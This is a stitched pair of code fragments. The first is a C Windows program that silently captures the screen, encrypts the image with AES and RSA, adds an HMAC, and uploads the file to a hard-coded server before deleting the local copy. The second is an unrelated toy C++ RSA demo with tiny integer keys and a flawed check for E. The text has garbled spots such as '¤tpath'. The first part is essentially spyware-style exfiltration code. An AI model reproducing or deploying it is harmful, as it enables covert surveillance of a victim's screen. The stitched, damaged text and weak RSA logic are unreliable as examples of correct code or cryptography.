int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ //misc vars char currentpath[MAX_PATH] = {0}; //vars for getting public key from exe unsigned char *pubrsakey = NULL; int pubkeylen = 0; //vars for taking the screenshot unsigned char *finalbmpfile = NULL; unsigned char *finalcompressedbmpfile = NULL; int finalcompressedbmpfilelen = 0; int finalbmpfilesize = 0; //vars for data encryption pk_context pk_ctx; char *keypersonalisation = "5T+qDlP1=R1ek?GLqi|=)1O(niSimHBx|2\5QE.DN<7W\"]I@:?uSa#}txXN<9oG6"; char *ivpersonalisation = "J0eeYYCW.`6m;I5[v4|]0NDe1Hx)Co8D u]~9ZC\"x6AESc=a\\/W-e7d1bnMwq,z=]"; unsigned char *aeskey = NULL; unsigned char *aesiv = NULL; unsigned char *encrypteddata = NULL; int encrypteddatalen = 0; unsigned char *pubkeyencrypteddata; unsigned int pubkeyencrypteddatalen = 0; unsigned char keydata[48] = {0}; //vars for hmac char *hmackeypersonalisation = "UGY624Z078'm.34\"|TSUOu\\M4}r!ammvFekes:%48=RmaA\\?SC.UTi8zB)A1a[P:"; unsigned char *hmackey = NULL; unsigned char hmacoutput[64] = {0}; //vars for writing to file DWORD dwBytesWritten = 0; HANDLE hFile = NULL; outputerror(DBG_INFO,"%s\n","main::started"); /* get public key*/ GetModuleFileName(NULL,¤tpath[0],sizeof(currentpath)); pubrsakey = getpublickeyfromself(¤tpath[0],&pubkeylen); if(pubrsakey == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to get public key"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); /* take screenshot */ if(takescreenshot(&finalbmpfile,&finalbmpfilesize) == 1){ outputerror(DBG_ERROR,"%s\n","main::failed to take screenshot"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* Main logic code generate aes key generate aes iv generate hmac key rsa encrypt(aeskey,aesiv) write encrypted rsa length write encrypted rsa blob encrypt screenshot write encrypted hmac key hmac(encrypted screenshot) write hmac write screenshot send screenshot delete screenshot In case you are wondering why locally save and delete, so that we don't loose screenshots if the sending fails. */ aeskey = generatekey(keypersonalisation,256); aesiv = generatekey(ivpersonalisation,128); hmackey = generatekey(hmackeypersonalisation,256); memcpy_s(keydata,48,aeskey,32); memcpy_s(keydata+32,48,aesiv,16); /* get and parse public key */ pk_ctx = getpubkeycontext(pubrsakey,pubkeylen); if(pk_get_len(&pk_ctx) == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to parse public key"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt aes key and iv and write to file */ pubkeyencrypteddatalen = pk_get_len(&pk_ctx); pubkeyencrypteddata = (unsigned char *)malloc(pubkeyencrypteddatalen); SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,keydata,48); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt aes key + aes iv"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } hFile = CreateFile("screen.enc", GENERIC_WRITE, 0, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile,(char *)&pubkeyencrypteddatalen,4,&dwBytesWritten,NULL); WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* compress screenshot */ outputerror(DBG_INFO,"%s\n","main::compressing screenshot"); finalcompressedbmpfilelen = compressdata(finalbmpfile,finalbmpfilesize,&finalcompressedbmpfile); if(finalcompressedbmpfilelen == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to compress final bmp file"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); zfree(finalcompressedbmpfile); exit(1); } SecureZeroMemory(finalbmpfile,finalbmpfilesize); /* encrypt screenshot */ encrypteddata = encryptaes(aeskey,256,aesiv,finalcompressedbmpfile,finalcompressedbmpfilelen,&encrypteddatalen); if(encrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt the actual screenshot"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt hmac key and write to file*/ SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,hmackey,32); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt hmac key"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* calculate hmac(encrypteddata) and write to file */ sha512_hmac(hmackey,32,encrypteddata,encrypteddatalen,hmacoutput,0); WriteFile(hFile,hmacoutput,64,&dwBytesWritten,NULL); /* write encrypted screenshot to file */ WriteFile(hFile,encrypteddata,encrypteddatalen,&dwBytesWritten,NULL); CloseHandle(hFile); /* cleanup */ pk_free(&pk_ctx); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(keydata,48); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); free(finalbmpfile); free(finalcompressedbmpfile); free(aeskey); free(aesiv); free(hmackey); free(pubrsakey); free(encrypteddata); free(pubkeyencrypteddata); outputerror(DBG_INFO,"%s\n","main::finished"); /* now we send the file to our server if it works, we delete the file */ if (uploadscreenshot(UPLOAD_SERVER, "screen.enc") == 1){ DeleteFile("screen.enc"); } return 0; }
main(int argc, char **argv) { if( argc < 3 ) { cerr << "Syntax: " << argv[0] << " P Q" << endl; return -1; } const int P=atoi(argv[1]), Q=atoi(argv[2]); cout << "P=" << P << ", Q=" << Q << endl; int N = P * Q; int G = (P-1)*(Q-1); cout << "N=" << N << ", G=" << G << endl; srand(time(NULL)); int E=0; for(;;) { E=((rand()%G)&0xFFFFFFFE)+1; if( (G % E != 0) & (E != P) & (E != Q) ) break; cout << "Tested E=" << E << ", not valid..." << endl; } if( E==0 ) { cerr << "Can't calculate valid E." << endl; return 1; } cout << "E=" << E << endl; int D=0; while( ++D ) if( (D * E % G == 1) & (D != E) & (D != P) & (D != Q) ) break; if( D==0 ) { cerr << "Can't calculate valid D." << endl; return 1; } cout << "D=" << D << endl; for(;;) { cout << "Enter value: " << endl; char cbuf[20]; cin.get(cbuf,sizeof(cbuf)); while(cin.get()!='\n'); int i=atoi(cbuf); cout << "Encrypted " << i << " is " << rsacrypt(i,E,N) << endl; cout << "Enter value: " << endl; cin.get(cbuf,sizeof(cbuf)); while(cin.get()!='\n'); i=atoi(cbuf); cout << "Decrypted " << i << " is " << rsacrypt(i,D,N) << endl; } }